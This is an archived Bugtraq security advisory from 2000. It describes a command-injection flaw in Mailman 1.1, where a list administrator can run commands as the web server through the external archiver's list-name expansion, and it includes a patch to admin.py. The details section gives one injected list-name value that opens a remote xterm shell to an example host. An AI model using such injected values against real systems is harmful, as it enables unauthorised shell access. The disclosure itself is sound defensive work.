[LWN Logo]
[Timeline]
Date:         Thu, 7 Sep 2000 16:58:24 -0500
From: "Christopher P. Lindsey" <lindsey@MALLORN.COM>
Subject:      Mailman 1.1 + external archiver vulnerability
To: BUGTRAQ@SECURITYFOCUS.COM

SUMMARY

   Mailman from www.list.org is a mailing list manager with strong Web
   functionality.  If a site is running Mailman 1.1 with an external
   archiving mechanism that uses the internal variable %(listname)s,
   list administrators can run any command with the Webserver's
   uid/gid.

   A patch is available at the end of this message.

WHO'S VULNERABLE

   Sites running versions prior to Mailman 1.2beta with external
   archiving enabled.

HISTORY

   This bug was reported to the developers in late November, 1999, and
   was fixed in the CVS source tree.  Newer beta versions of Mailman
   are not susceptible, yet it has recently come to my attention
   that the vulnerable 1.1 package is still available as a stable,
   non-beta release on the Mailman site(s):

      ftp://ftp.list.org/pub/mailman/
      ftp://ftp.gnu.org/gnu/mailman/

DETAILS

   Mailman has a mechanism that allows messages sent to a mailing list to
   be pumped into some sort of external program.  Traditionally this
   involves some sort of Web-based archiver like MHonArc or hypermail.
   To make the archiving more powerful, macros can be used based on
   internal Mailman values.  For example, list archives can be saved
   on a per list basis with this line in $prefix/Mailman/mm_cfg.py:

      PUBLIC_EXTERNAL_ARCHIVER  = '(mhonarc -add -nolock -umask 023 -rcfile rc.%(listname)s -outdir /mnt/WWW/htdocs/lists/%(listname)s)'

   The problem comes from the %(listname)s expansion.  Since it's derived
   from a value that can be set on a per list basis by the list administrator,
   it's subject to tampering.  Consider a list who's name was changed
   to

      `/usr/X11R6/bin/xterm -display myhost.example.com:0 -e /bin/csh`

   by a list administrator.  As soon as a message is sent to the list
   this command will be executed, opening a remote xterm with a shell
   running with the Web server's uid/gid.  Any command available to the
   Web server can be executed in this fashion.

   Other variable names can be accessed if your PUBLIC_EXTERNAL_ARCHIVER
   definition is configured to use them.  The patch below will only
   fix problems with %(listname)s expansion.

SOLUTION

   Upgrade to a later version of Mailman, or install the supplied patch.

PATCH

   This patch was provided my the Mailman developers and later cleaned up
   to work against a stock 1.1 distribution.  It works by only allowing
   listowners to change case values within the name of their list.

   Obviously a better long-term solution that sanitizes system calls, etc.
   should be considered.

Christopher Lindsey
lindsey@mallorn.com
Mallorn Computing, Inc.

-------------------- snip snip --------------------
*** admin.py.bak        Mon Mar 13 21:03:53 2000
--- admin.py    Mon Mar 13 21:04:51 2000
***************
*** 784,789 ****
--- 784,800 ----
                  val = cgi_info[property].value
              value = GetValidValue(lst, property, kind, val, deps)
              if getattr(lst, property) != value {
+                 # TBD: Ensure that lst.real_name differs only in letter
+                 # case.  Otherwise a security hole can potentially be opened
+                 # when using an external archiver.  This seems ad-hoc and
+                 # could use a more general security policy.
+                 if property == 'real_name' and \
+                    string.lower(value) <> string.lower(lst._internal_name):
+                     # then don't install this value.
+                     document.AddItem("""<p><b>real_name</b> attribute not
+                     changed!  It must differ from the list's name by case
+                     only.<p>""")
+                     continue
                  setattr(lst, property, value)
                  dirty = 1
      #
-------------------- snip snip --------------------